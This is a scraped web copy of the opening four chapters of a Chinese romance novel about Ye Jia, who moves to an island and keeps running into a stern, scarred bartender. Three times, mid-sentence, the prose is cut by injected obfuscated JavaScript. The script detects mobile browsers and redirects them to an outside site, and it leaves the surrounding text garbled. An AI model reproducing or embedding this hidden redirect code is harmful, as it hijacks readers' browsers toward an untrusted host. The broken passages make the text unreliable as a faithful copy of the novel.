《去年在聆风岛》 1. 凶凶 “你别不信，你见了他你也迷糊！” 一声带着不服气的声音，吸引了正欣赏着船过掀起海浪的叶嘉。 叶嘉看过去，是个看起来意气风发的大姨，穿了件漂亮的旗袍，头发全部精致的盘在脑后，别了根玉簪子，看起来挺贵气。 只不过大姨说话的样子就没打扮得这么优雅了，双手翻飞，努力说服着同行的人。 同行的也是位差不多年纪的女士：“我不是不信，我怎么会不信你看男人的品味，可是你说的这个人，又不搭理人脾气又不好，到底图啥？我还不如去牛郎店找个周正的，人嘴巴还甜，这才叫能提供情绪价值。” 大姨做了个呕吐的动作：“得了吧，还周正呢，都是歪瓜裂枣，看丑男跟我卖萌我只想吐，还不如看帅哥就安安静静待在那儿。” 大姨的喜恶真的很明显了。 叶嘉默默听着，检索到第一次听的新词，拿出手机来搜索了一下牛郎店是什么，看得她瞳孔直接放大。 还以为自己在北城待了几年，也算是见识过大城市的花花绿绿了，原来山外有山，外头还有这么多五颜六色。 只不过花花绿绿是霓虹灯，五颜六色是各位的发色。 大姨朋友不服气：“也有帅的好不好。” 大姨脑袋一晃：“行，我也不否认是有没那么次的，但都没法跟这帅哥比，他就是硬帅，五官单拿出来都能迷死你个没见识的，组合起来那更是绝，还有那气质，啧啧！” “什么气质，你叫他他都不搭理的气质。” “你懂什么啊，是那种硬派的气质，一看就很板正，但又隐隐约约透出一丝邪气，还有，你是没看过他调酒时候手臂上的肌肉，我的妈呀……我每周就这么个盼头！” 叶嘉感觉自己很清晰地听见了大姨在停顿的那一秒吸溜口水的声音。 怎么回事，她也跟着想咽口水。 就跟看人吃好吃的时候，自己也馋上了一样。 叶嘉拿出手机来搜了一下，聆风岛上的酒吧，某点评网站上没有，地图软件里倒是显示有一家叫雾海灯塔的酒吧，不过只有地址，其余什么信息也没有。 但船上已经有个活广告了。 叶嘉打算下船后，把东西一放，第一站就去这家雾海灯塔。 她正愁不知道要去哪。 来聆风岛是个很突然的决定，只是因为她在北城待不下去了，又不想像个失败者一样回山里的老家。 在北城的地铁里到处穿梭不知道接下来要怎么办的时候，叶嘉在网上刷到了一个关于聆风岛的好评帖子，虽然只有两个点赞，但她感觉很真实。 于是就在绿皮车上躺了二十多个小时，来到了聆风岛周边的城市，又坐船前往。 她没想好在岛上的住所，没想好要待多久，就只是来了。 却带了她所有的行李。 当然，并不多，就一个拉杆箱，很老土的那种，不脏却看起来很脏的泥巴色，优点是很能装，考上北大后妈妈带着她在镇上买的。 大姨和她的朋友还在讨论关于帅哥的事情。 叶嘉知道了那是一个帅到让人看一眼就头晕的帅哥，但他人很高冷，还有点凶，有一次也不知道怎么回事，把所有客人都赶了出去，疯了一样。 但帅哥疯了也是帅哥，大家能怎么办呢，当然是原谅他了。 叶嘉很感兴趣，她在北城，被一个自己少女时期为之尖叫的帅哥伤了心，现在不相信少女的审美了，但对大姨的审美还是抱有期待的。 毕竟人家一看就见多识广，而她呢，懵懂无知，大一时喜欢上他，就忽略了他身上所有不对劲的地方，直到最糟糕的问题爆发出来。 其实现在想来，叶嘉也不觉得他帅了。 丑死了，丑死了丑死了！ 一个小时的海路比起二十多小时的绿皮硬卧，轻松多了，尤其还得到了一个令人期待的情报。 一路的风景也漂亮，大海望不见尽头，海水蔚蓝得不可思议。 相比起来她的苦恼就只是一滴墨水，虽然黑到极致，但滴进海里，很快就消逝了。 对在山里长大，没见过这么漂亮宽阔的大海的叶嘉来说，非常治愈。 下船后，叶嘉先找了个住宿的地方，把行李一搁，就按照地图软件上的地址，前往雾海灯塔酒吧。 其实叶嘉家里就是酿酒的，高粱酒，有时候也用红薯，度数很高，人们喝这个就为了喝醉好睡觉。 高中时考学压力大，她喝过一点，反而是刺激得她睡不好。 不过兴许是遗传，她酒量还不错。 酒吧里的酒是什么样的，叶嘉不知道，之前网上看那些都色彩缤纷的很有氛围感，好奇什么味道。 在北城大学四年加工作三年，还没去过一次酒吧，但去过一次类似会所的地方，给她吓得从此对这种地方都敬而远之。 不过海岛上的酒吧，应该是电视上那种氛围比较惬意的地方吧？ 唔，可大姨又说老板很凶。 - 顾岸舟洗完澡，毛巾随意搭在头上，站在镜子前，看着自己的脸，和身体。 之前在陆老师那治疗的时候，做过直视镜子里的自己的练习。 那之后就有些形成了习惯，每次洗完澡，都会盯着镜子里的自己看一会。 这是一个身上有伤疤的人，伤疤来自过去，而现在他在努力康复。 他在浴室，正看着镜子。 周围的所有物件都是他亲自挑选的，不藏任何危险。 这个人是我，我很安全。 结束心中的默念，顾岸舟擦着头发走出浴室，穿上干净的衣物。 端着自己手冲的咖啡来到阳台，伴着温暖咸涩的海风，慢慢喝完。 能不受打扰，一觉睡到下午的感觉，实在很好。 再慢悠悠起床，把供货商放在门口的货拿进来整理完，打扫店面，去附近美味的夫妻海鲜店吃个午饭，回来洗澡，这一固定流程的感觉也很好。 不远处，从主岛来的轮渡正在靠近，引擎发出低沉而平稳的嗡嗡声，融入海浪的节拍里。 每天15:15抵达的游船，令人安心的规律，也是提醒顾岸舟，该下楼备料了。 一只白猫蹿了上来，在花坛边走秀。 顾岸舟起身，拍了下白猫的屁股，准备下楼干活，但白猫黏黏地叫了一声，尾巴也勾住他手臂似在挽留。 好吧，那再拍拍。 岛上的节奏很放松，不需要他随时紧绷着神经，被推着去做一件又一件的事情，他可以随时因为这些可爱的小意外多喘两口气。 但六点还是得准时开门。 聆风岛上的人口并不多，但不管淡季旺季，游客都不算少。 再加上大概是作为岛上唯一一家酒吧，每晚生意都很好。 有时候还没到营业时间，门口就有人等着了。 不过这种适当的“压力”也很好，太随心所欲，他也会失去秩序性和安全感。 顾岸舟走进厨房，开始备料。 清洗柠檬、橙子、小青柠，切成各种形状大小，柑橘系水果散发出的香气，令人神经放松。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16333702|183365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >但榨汁机嗡嗡的声音，传递到右耳，顾岸舟眉头不自觉就紧皱起。 处理这些汁水丰盈的食材，很难不溅到身上。厨房有围裙，但他有些抗拒系围裙，总感觉呼吸不过来。 只好备完料，又换一次衣服。 更衣室里。 顾岸舟穿衣服不会直接套，脱衣服也不会从领口开始拉，避免蒙头遮挡视线的情况，都是先把下摆抓起来。 T恤刚撩到肩膀，顾岸舟就听见中气十足的惊呼声。 “喔——喔——喔——！！” 拉警报似的。 尽管知道海岛上很安全，顾岸舟还是进入了戒备状态，立即又把T恤拉下来，锐利的视线扫向门口。 一个女生，看起来瘦瘦小小的，和声音给人的感觉截然不同。 女生抬手挡住了眼睛，只看得见一张嘴巴，警报是停下了但不停在道歉：“不好意思不好意思我好像是走错了！” 看得出来。 总不能是来偷袭的。 “本店下午六点营业。” 冷淡的声线，不带感情的叙述，可声音醇厚的质感却让这种语气都迷人起来了。 结合刚才瞟到的那一眼炸裂的身材和侧脸，叶嘉没忍住好奇心，把手放了下来。 下一秒她就后悔了。 对上视线的一瞬间，叶嘉甚至有种自己要被抓去做人干了的错觉，不，也许不是错觉。 好凶！而且这人身上真有股邪气，大姨一点没说错，她确实看一眼就头晕了。 “对不起对不起，真的对不起！”叶嘉自认真诚地道完歉，转头跑走。 跑出店面叶嘉也没停，生怕人会追出来，顶着午后四点的烈日跑了好几百米，跑到一个海岸边，才停下来。 刚才她乘坐的那班船，正在返回主岛，叶嘉差点要跪了，求求带上我一起走吧。 她下了船把行李往酒店一放就去酒吧了，她看里面虽然灯光昏暗，但至少是有光的啊，还有柑橘的香气，有走动的声音，她以为外面没人是她没走对地方，哪想到是还没营业。 结果这一深入，就深入到人家私密空间去了。 其实她可以趁着人没注意到的时候，偷偷跑走的，但问题是她推门肯定有声音啊，而且她还不小心撞了门框一下，就算她不出声，也会被发现的。 比起偷溜的时候被人从后面逮到，质疑她偷偷摸摸是不是要干坏事，那还是正面道歉比较实在吧。 这事虽然尴尬，但换个对象，叶嘉也不会这么煎熬，关键就是他真的看起来好凶，不像是道歉就能完事了的。 唉，既然六点才营业，大姨为什么要这么早就来？坐晚上那班船来不好吗？ 叶嘉懊恼，也怪她没酒吧多久营业的常识，地图软件上也没写。 还好她只是看到人在换衣服，要是看到他在干什么很适合那张凶脸干的坏事，要是被卷入犯罪现场，她可就要完了。 可话又说回来，叶嘉回想起他硬朗的脸，和饱满的……山峰。 没忍住，叶嘉也跟大姨一样开始咽口水了。 要不说人见多识广后，还愿意为这么一个人周周都花时间呢，她甚至愿意天天去看！ 可她现在怕是要坐晚上的船滚远了。 其实那视觉冲击可能一秒钟都不到，但很值得细细琢磨，唔，背也很宽，那块是叫背阔肌吧，看起来好爽，上面还有长长一条砍伤一样的疤痕，莫名有点涩。 等等，砍伤？ 那岂不是坐实了他的凶脸并非误解，是他真有可能混入过犯罪现场吗？？ 2. 凶凶 叶嘉在只有寥寥几人的沙滩上坐着，一直思考到了日落时分。 她坐的这个地方，正好能看到咸蛋黄一样的落日。 “哇……” 太美了。 看饿了。 周围那一圈光晕看起来像咸蛋黄流出的油，一看就香，香迷糊了。 叶嘉从小就爱吃东西，毕竟不吃，没力气跑那么远山路去上学。她家里虽然属于贫困家庭，但都会尽可能满足小叶嘉旺盛的食欲，她就一直很能吃，也很有力气。 终于是碰到了大姨。 当然不是在酒吧，而是在附近一家吃海鲜的餐厅。 她抵达餐厅时，大姨刚好吃完出来。 “走吧梦，带你去长见识了，以后别盯着丑人当宝贝！”大姨吃饱后精神头更足了。 跟大姨同行的梦姨，则是一脸厌烦的表情：“行了行了我知道了，耳朵都要长茧子了，这就去看看什么人间极品。” 搞半天是先吃饭才去看帅哥啊，早说啊姨！ 不过看来这家小店味道不错。 叶嘉久违地拿到实体菜单，是覆了一层膜的铜版纸，上面的字是手写的，笔锋遒劲。 价格没想象中便宜，毕竟是海鲜，已经比在北城吃海鲜便宜多了。 按照她的饭量点了想吃、又在能接受的价格范围内的几道菜，还点了一份炒面。 这是一家夫妻店，丈夫在厨房做菜，妻子在外面招呼客人。 老板用很有海岛风情的丝巾编了头发，看起来很明亮，人是相当热情：“是还有朋友要来嘛？那我等会再给你上菜？” “不不，我一个人，现在就上吧，我快饿死了。”叶嘉笑着回应。 “呀这么能吃啊，可别浪费哦？” “不会的，我保证能吃完！”她点的时候看了别桌的份量，在心里是算好了的。她才不会浪费呢，食物多珍贵啊。 “好好，那我尽快给你上，加油再撑一会！” 叶嘉被老板逗笑了，摸摸肚子点头说“好”，对这里的人好感倍增。刚才去酒店办入住，前台人也很很热情。 她喜欢这种感觉，相比起来在北城过得就很压抑，每天只有工作，没有生活。也一定有人在北城享受生活，但那不是她。 作为在聆风岛上的第一餐，这味道实在太棒了。 每吃一口都感觉食物在嘴里挽留她：就是这了！住下去！你会很喜欢这里的！ 叶嘉感受到了强烈的召唤，但实在忘不了凶脸帅哥看向自己时的神情，还有他整个人散发出的气势，连好闻的柑橘味都压不下去。 他会把自己剁吧剁吧做下酒菜的吧？ 叶嘉还点了一杯店里的啤酒，是当地产的，味道意外的香醇顺滑，不是寡淡的那种，好喝。 就又喝了一杯。 老板忙完又来跟她聊天：“还真吃完了，真厉害，味道怎么样？” “太好吃了！” 叶嘉这一开口，店里其他人都看了过来。她略显窘迫地抱歉笑笑，真不好意思，吃高兴了，忘控制音量了。 老板笑得很开心，看起来很文气的女孩放高嗓门说好吃，这是多有含金量的认可啊。 “喜欢就好，又能吃又能喝，我看着都高兴！嘿，爱喝酒的话，推荐你去我们岛上的酒吧，就那边过去几百米，那儿的酒好喝，老板很会调，但关键是什么啊，是老板长得还巨——帅！你别看我是个大妈了，但你要相信我的眼光，总之那地方就适合咱们女孩去边喝酒边欣赏。” 不了不了，见识过了，不敢欣赏。 但看老板说得眉飞色舞的，叶嘉不自觉就笑了起来。 确实是挺适合边喝酒边欣赏的，就是心理得强大一点。 叶嘉吃得相当满足，离开时，又话别一番说下次一定再来。 没有往酒吧的方向走，走了另一边，准备多绕一圈回住宿的酒店，正好消消食，感受一下夜晚的海岛。 这里的环境，空气，落日，当地的人，还有此刻能看到星星的夜空，给她的感觉都很好。 心里有一万个想要留下来的理由。 那……凶脸帅哥这个强烈但单一的因素，就算不了什么了，反正她只要以后不去酒吧不就得了？ 聆风岛说大不大说小也不小，他作为老板应该挺忙的估计没时间出来闲逛，她不一定遇得到。 而且岛上又不是没有派出所，哪能容许他犯罪？ 叶嘉决定了，住下来，先住上一段时间再说。 实在是很惬意的一周。 每天早起都能感受到宜人的海风，出去转一圈，碰到一些逐渐熟悉的人，说声“早”，回家后，身上都是盐粒，洗个澡，这种感觉出乎意料的好。 岛上的食物是叶嘉最喜欢的，她是山里人，却沉迷于海味不可自拔。 而且，果然没有遇到凶脸帅哥。 这天下午有民警来登记。 叶嘉站在门口写下自己的身份信息，对门邻居大概听到动静，也开了门出来。叶嘉看她的脸，有点眼熟。 对方显然也这么觉得，跟她打了招呼：“嗨，我好像见过你。” “是上周来的船上吗？” “哦对！我们坐一班船来的，好巧，你一直住这？但我记得你好像拉了个箱子。” “我才搬来。”叶嘉找酒店前台问了哪里可以租房子，前台直接把她舅妈的微信推给她，她就这么搬进来了。 楚念很激动：“我也是！更巧了！” 登记完，送走民警，叶嘉就被邀请到楚念家里坐。 聊了才发现她们是坐同一班船来，也同是来了才做决定要留下来，又还刚好同租住了对门的房子。 叶嘉感受到一股猛烈的直觉，楚念会是她离开家乡后，交到的第一个真正意义上的朋友。 楚念家里有点乱，看上去不像才搬进来一周，像已经深度入住半年了。 “嘿嘿不好意思啊，我不爱收拾，东西都乱扔。”但楚念看起来不像是不好意思的，十分坦然，她是觉得不臭就行，也不脏，就乱了点。 “没事，不乱。”叶嘉违心地摇摇头，表情有点僵。 “你一点不会撒谎耶。”楚念笑得眼睛眯起来，觉得叶嘉很可爱。 叶嘉有点尴尬，连忙说：“我们竟然今天才碰到。” “这几天我有单子忙，就出了一次门。” “单子？” “对，我是个画手，给游戏之类的画稿，给看你哦。”楚念拿出平板来，给她看了上周画的游戏角色。 叶嘉一看，直接惊呼出声：“哇！！” 楚念被她这平地一声雷给吓一跳，平板差点都没拿稳，看叶嘉人瘦瘦的，长得清秀，刚才说话也温声细语，没想到一嗓子直接嚎得她耳朵里都嗡了一下。 叶嘉也被楚念一抖给吓得回过神，连忙道歉，但声音放得很轻，怕再吓到她了：“不好意思啊，我是被惊艳到了，你画得太好了。” “没有没有，就是……”楚念不知道怎么突然有点想笑，“有点反差，没想到你能量那么大。” 叶嘉在老家时，经常隔着很远的距离跟人喊话，嗓门不知不觉间就大了。 直到后来去了市里上高中，感觉到有人在笑她。 她就开始克制住小声了，但有时候激动起来，音量还是不自觉就拔高。 笑她声音大的人少了，可到了大学，她的南方乡音又被宿舍里其他人学着玩，她知道她们大概不是带恶意的，但她真的很尴尬，以至于后来，她不只是小声说话，她是干脆连话都少说了。 “挺好的！”楚念看出叶嘉的窘迫，连忙说，“感觉你气血很足的样子！你看我多有气无力要死不活的，哈哈哈。” 叶嘉摇头：“你没有有气无力啊。” 楚念笑了笑，又翻了几张图给她看。 她画的人物看起来张力都特别强，表情啊动作啊，的确很适合游戏里那种有点夸张的画风。 划到最新一张，画的是个男性，剑眉星目，帅得过分，但眉头紧拧着，微微仰着头，喉结似在滚动，好像在忍耐着什么，上身没衣服，漂亮的肌肉线条紧绷着，有汗珠落下，是一副……虽然还没上颜色，但感觉很有颜色的画。 “这是……”叶嘉不禁出声。 “噢！”楚念脸不红心不跳地嘿嘿一笑，“这不是接的稿，是我自己画着玩的，有原型哦，就在这岛上。那天来的船上，你听到没，有个大姨说，她每周都要来岛上看酒吧里一帅哥，就是那个。” 果然是他。 不用半秒叶嘉就能对上原型，那天他也的确像这样拧着眉，不过表情当然没这么色。 “我当时还在想，有这么夸张吗，老娘这个色批，哦不对，我这个帅哥鉴赏家高低得去品鉴一番，结果还真就那么帅！”楚念看着自己画的图，稍微有点不满意，“没开玩笑，真人比我画的还帅。” 楚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16333703|183365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 念兴奋说着，才发现叶嘉脸红了，立刻乐了：“你喜欢啊？走！今晚我们一起去喝酒，一起鉴赏，也可以在酒吧里再多聊聊天。” “不不不不——”叶嘉蹭一下站了起来。 楚念感到莫名地看着她。 “我……晚上有事。” “啊？是每个晚上都有事吗？”楚念遗憾。 叶嘉点了头。 楚念只能表示“那好吧”，不过马上又约了明天中午一起出去吃午饭。她来了一周，还没在岛上吃过一餐正经饭。 说真的，叶嘉回了自己房间后，有点后悔。 她在说什么每晚都有事啊，直接把她去酒吧的路给堵死了。 其实还挺想去的。 尤其是在看了楚念画的图之后。 不是，这画得也太接近了吧，是楚念也看到他裸体了吗？ 那他裸体也太容易看了吧？ 不过应该不是，因为他本人身材更好，而且楚念也没有画那道疤。 叶嘉又开始咽口水，看了那幅画，很难不好奇，他那张凶脸，会不会真的露出画上那种表情。 都一周过去了，说不定帅哥已经忘了自己了呢，她长得清汤寡水，不是会给人留下深刻印象的那种。 算了，想什么呢，难道去了酒吧就能看到他那样表情了？ 又不是牛郎店。 叶嘉算了下账，她的存款足够她在聆风岛上躺平三年。 但她还得伪装有工作，每个月工资日给家里打一笔钱。 真这么躺平不是事，本身她也不是闲得下来的人。 在网上随便发了下个人信息，就有个高中生联系她，让她辅导数理化竞赛，这下她晚上还真的有事要做了。 隔天和楚念吃午饭，叶嘉带她去了那家夫妻海鲜店。 楚念：“我去酒吧的时候路过了这里的，都没注意到，应该是我来的时候已经关门了。” 叶嘉问：“你很晚才去的吗？” “画了会稿子，就十点多了，但正好，酒吧里人还不少呢。” 十点多那确实很晚了，叶嘉都睡了。不过去酒吧果然得是晚上啊，她这个下午去的神经病。 她们坐了下来，楚念接着刚才的话继续：“我估计很多人都是冲着老板去的，啧啧，真太帅了，很刺激我创作欲，昨晚喝了酒回去又画到四点。” “四点？”叶嘉震惊得声音又放大了，“那你才睡了多久？你还好吧？” “没事没事，跟你约好了吃午饭的嘛。” 老板春姐已经认识叶嘉了，还不等她们点单就先拿了两瓶啤酒过来，很熟络地搭话：“在说小顾啊？” “小顾？是说那边那个酒吧老板吗？他姓顾啊。”楚念马上好奇问。 春姐露出一个“我就说吧”的笑：“帅吧？小叶你去看了没？” 叶嘉摇摇头。 “哎呀，怎么回事，可惜。” 话音刚落，就听门口有客人进来，春姐看过去，又笑了：“巧了，这下你能看到了。” 叶嘉是背对着门口坐的，听到老板这么一说，反应过来什么情况，都没敢回头看。 果然是那个冷淡却醇厚的声线，问道：“什么？” “没什么呀，替你招揽客人呢。”老板本来说话就很热情，但跟小顾说话，又更甜了几分，少女感都被激发出来了，“今天怎么来这么早？” “今天水果送得早。” “哦？怎么回事。”正说着话又来了四个女生，春姐安排她们坐了小小店面里最后一张空桌，把菜单一放，又转回来对小顾说，“这个点来才知道我们店多受欢迎吧？没位子了，小顾你坐这里跟她们拼一桌吧。” 春姐笑眯眯看向叶嘉和楚念：“不介意吧？” “不介意不介意。”楚念立刻往里面坐，把位子给腾了出来。 叶嘉感觉自己脸上还有身上的肌肉都僵了，但她要跳起来拒绝一定很突兀，可小顾要坐楚念原本位置的话，那就是跟她脸对脸了，可千万别！ 于是叶嘉也坐进里面椅子，一边说：“坐我这边吧，空调凉快些。” 这样坐应该就不会注意到她是看过他裸上身的那个人了。 顾岸舟还真坐在了叶嘉身边，转头看着她。 叶嘉感受到这股有点压迫感的视线，一时感觉时间像是放慢了。 脑中忽然闪过白光一片，叶嘉反应过来，完了，他听过她声音啊！ 3. 凶凶 有点绝望的叶嘉，脸色不太好。 坐在对面的楚念有点意外于她的反应，虽然她也觉得被帅哥盯着看是有点莫名其妙了，但叶嘉看起来是身体都不舒服了。 “你没事吧？”楚念关心。 叶嘉小幅摇头。 没事，只是有点怕被做成下酒菜而已。 这时一旁顾岸舟站起身来，对春姐说：“算了，我还是打包吧。” “好噢。”春姐看出气氛不对，也无意留他，“今天吃虾怎么样？今天的虾肥。” “好，谢谢。”说完便出去了。 人一走楚念就开始好奇：“怎么回事？你俩认识啊？” 叶嘉连忙摇头。 她头还在摆呢，楚念就看见人又进来了，站定在叶嘉身边。 “晚上来我店里喝酒，我请客，赔罪。” 叶嘉一愣，这才抬起头来看人，那天就发现他个子还很高，今天这么坐着一看，更是感觉他跟座山似的。 他的表情和那天不同，硬朗的五官还是透出一股凶感，但至少眉头是舒展开来的，可以说是不带任何表情，对比起上次来却平和了不少。 可是……邀她去店里？请客？赔罪？ 怎么一个字也听不懂。 人又走了出去，这次叶嘉是目送他的背影出门的。 “你还说你们不认识！”楚念的声音把她叫了回来，“赔罪是怎么回事？” “我也不知道啊。”是真不知道。 不会是把她骗去杀的吧？ 是她把他看光了啊，就算他原谅了她的失误，也不用反过来给她赔罪吧？ 楚念生气气：“真不够朋友，藏着掖着的！但今晚我们得一起去啊，你可别想跑。” “啊。”好像是跑不掉了。 叶嘉是有点尴尬的，但楚念这种很自然就把她当成朋友的感觉，她并不讨厌。她见多了冷漠的人，都快被他们冻住了。 顾岸舟在饭店门口望着大海发了会呆，拿到了打包好的白灼活虾、炒时蔬，还有一份海鲜炒面。 “慢走啊小顾！” “好。”顾岸舟微微欠身，往回走。 刚开始，他并不适应春姐热情招待的风格，但海鲜的品质很好，春姐夫做菜的手艺也不错，他来了几次，也就习惯了这种热情。 甚至后来发现他来了岛上一年，还是只有春姐对自己热情后，心里还对她生出了几分感激。 来酒吧的客人不少，但愿意跟他搭话的并不多，像这么热情的更是只有春姐一个。 顾岸舟想过这个问题，应该是大家觉得他调酒的技术好，又敏锐地察觉到他身上发生过一些事，便想保持距离。 人都会趋利避害，他在那个鬼地方又待了好几年，被浸染得自己都觉得不像样子，大家不愿意靠近很正常。 而那个女生明显被吓得不轻。 大概是当时他被突然的声音唤醒了本能，显得可怕了些。 他不危险，只是想表示这一点。 叶嘉晚上真的有事，昨天上课的那个学生，上完课之后就又预约了今晚的，觉得她讲得深入浅出很好理解。 楚念听了之后说：“没事啊，九点结束，我们就九点再去呗。” “可是上完课我就该睡了。” “九点你就睡了！？”楚念也震惊得拔高了音量，“你也太养生了吧！那怎么办，真不去啊？” 面临这个问题，叶嘉沉默片刻后说：“也不是不去。” 他都邀请她了，虽然想不通他为什么要赔罪，但他的态度跟她以为的不一样，而且现在有伴一起，应该能保证安全吧。 “但是十点前能回来吧？” “呃。”那岂不是玩个寂寞，还要算上路上的时间呢，楚念跟她商量，“十点从店里走怎么样？” 叶嘉点头：“好。” 结果学生缠着她多问了几个问题，叶嘉也觉得这些题很有意思，就算对方不加钱她也愿意多跟人讲，何况人还直接给她加倍了。 大城市的学生真有钱。 楚念等得差点想在她门口吊死，终于等到人出来，抓着叶嘉就赶紧去，路上还商量，要十点半再回。 叶嘉只好答应。 她们一进店，就看见中午吃饭时后面来的那四个女生也在，看样子她们又幸运地占了最后一张桌子。 楚念很兴奋，拉着叶嘉去吧台坐。 这是楚念第三次来，每次都不太懂，为什么她以为最抢手的吧台位置，往往是空着的，其它桌子倒是坐得满满当当。 但这也好，就便宜她了，可以近距离欣赏美貌。 店里没有雇佣其他人，顾岸舟既是老板也是调酒师也是服务生。他在吧台后面调酒，抽空跟两人说了句：“欢迎光临，酒单在上面。” 叶嘉上次来没注意到，现在抬头一看才发现上面是块黑板，酒单是用海水一样颜色的笔手写的，字体洒脱开阔。 她见过这个字体，和那家夫妻海鲜店的菜单上的字一样。 是他帮海鲜店写的吗？还是反过来？ 从感觉上看，这字跟他人一样俊朗，应该是他写的。 叶嘉很喜欢他的字，忽然就不愿意觉得字写得这么漂亮的人，是什么坏人。 楚念其实前两次就想问这字是不是他写的了，但看老板一直很忙，也没有要跟顾客闲聊的意思，就不太好搭话。 但今天是跟他要赔罪的人一起来的，想着应该是能聊聊吧，就问了出来：“这是你写的字吗？” 老板低着头，没有回话。 “……”楚念顿时感到一阵尴尬，大姨一点没骗人，真就高冷不理人。 但也不得不承认，大姨说就看帅哥在那待着，只是哐哧哐哧调酒，也确实是足够赏心悦目了。 楚念立刻就原谅了他。 顾岸舟调好两杯酒，走出吧台，端给了坐在角落的客人，回到吧台，看向两人：“选好了吗？” “我先要一杯莫吉托好了。”楚念说，走这一路太热了，想先清凉一下。 叶嘉不知道这些酒是什么味道，但每款酒的下面都用小字写了风味，所以她也顺利选了酒：“我要浮翠，谢谢。” “好，请稍等。” 楚念看老板转身进了后面的房间，像是要拿什么不常用的食材，就在酒单上找了一下：“苦瓜？你喜欢苦瓜味的酒？” “没喝过，不知道，想尝试一下。” 叶嘉是觉得来了新的地方，就要尝试新的东西，反正没有喝过酒吧里的鸡尾酒，那就要尝一下最特别的。 “我也没喝过，但不敢试，感觉很黑暗。”楚念问刚好走出来的老板，“会很苦吗？” 但老板拿着苦瓜出来后，就低着头在清洗，回答楚念的只有头上音响里流出的音乐声。 楚念气得握拳，小声跟叶嘉吐槽：“我再也不跟他搭话了！对了，你问他试试。” 酒的味道，喝了就知道了，不用问。 但叶嘉确实好奇这字到底是不是他写的，她叫道：“老板。” 没有回应。 叶嘉有种感觉，他不是故意不理人，是音 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16333704|183365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乐声音太大了他没听见，便放高了一点声音：“老板？” “什么？”他果然抬起头看了过来。 叶嘉指着上面的黑板：“这是你写的字吗？” “是。” “哦哦。” “还有问题吗？” “……没了。”感觉他像是在不耐烦，叶嘉就算有也不敢问了。 顾岸舟继续工作，给苦瓜去籽，放进榨汁机前，他问叶嘉：“你想要苦一点的还是没那么苦的？” “正常的吧。”叶嘉回答完，就听榨汁机开始工作，她的视线落到老板脸上，见他皱着眉，瞬间挪开了眼。 他眉一皱看起来真的很凶。 一旁的楚念还在纠结帅哥老板是不是故意不回她话，琢磨不透。 “我觉得他只是没听见。”叶嘉看得出楚念很在意，凑到她耳边说。 楚念点点头，也有可能。但不得不说，她知道为什么大家都不爱坐吧台了。 本身想要跟帅得很有距离感的人搭话，就要做好心理建设了，问完他还不一定回，坐在这纯难受。 还不如远远欣赏。 不过楚念作为一个画手，要欣赏也要在近处欣赏，她要看清帅哥的每一处肌肉走向，每一个细微的表情。 好吧虽然他没什么表情。 顾岸舟做好浮翠和莫吉托，垫上杯垫放在了两人面前。 杯垫上也有手写的字，写着雾海灯塔，还画了海浪和灯塔，简单几笔，却感觉很温暖。 叶嘉好奇地问：“这也是你画的吗？” 顾岸舟正好看着她，点了头：“是。” “很漂亮。” “谢谢。”说完便又低头去忙了。 楚念顿时觉得不是听不听得见的问题，叶嘉这话问得声音也不大，老板还是回她了。 所以是人的问题？ “他为什么要跟你赔罪啊？”楚念问。 叶嘉歪头：“我不知道。” “你不说？你不说那我问他了。”楚念也不知道这威胁有什么意义，她都能预想到自己问了他，他理都不理自己的尴尬情景。 叶嘉感觉得出楚念不是真要问他，都没阻拦，喝了一口绿得很漂亮的浮翠。 没有想象中的苦味，她本身其实不喜欢苦瓜的，但家里种了苦瓜，所以她也能吃，不过这一口喝下去完全不觉得苦，只喝到了清新的味道，甚至还有回甘，非常适合夏天。 “你要尝尝吗？”叶嘉问盯着自己的楚念。 楚念点点头，心想算了，别问了，他们都没有要说的意思，她就别穷追猛打了。 尝了一口，比想象中好喝，苦是苦的，但不是那种会打人的苦。 楚念之前喝的几款都比较常规，一般不会出错，但这种比较小众的特调也做得这么好喝，老板还是有点东西。 “我的你要喝吗？不过没什么特别的，就是莫吉托的味。” “我不知道什么味。”叶嘉略尴尬。 “噢？你没喝过啊，那你试试。”楚念把酒推过去，“我还以为你喝过呢。” 察觉到楚念不带任何鄙夷，连调侃都没有，叶嘉放心地说：“我这是第一次来酒吧。” 说到这，叶嘉还刻意提高了些音量，试图吸引吧台内男人的注意，又补充了一句：“我之前从来没来过酒吧，都不知道原来晚上才开门。” 她在跟他解释，她是真的稀里糊涂走错，是个无辜老百姓。 但男人没有抬头，往盘子里装着东西。 叶嘉不知道他听到没有。 4. 凶凶 “所以你只习惯边吃饭边喝啤酒。”楚念说。 不是习惯，叶嘉知道，她只是没那个踏入这种地方的勇气，但楚念的解读让她很放松，就跟她说了实话：“没有，我只是不敢去酒吧。” 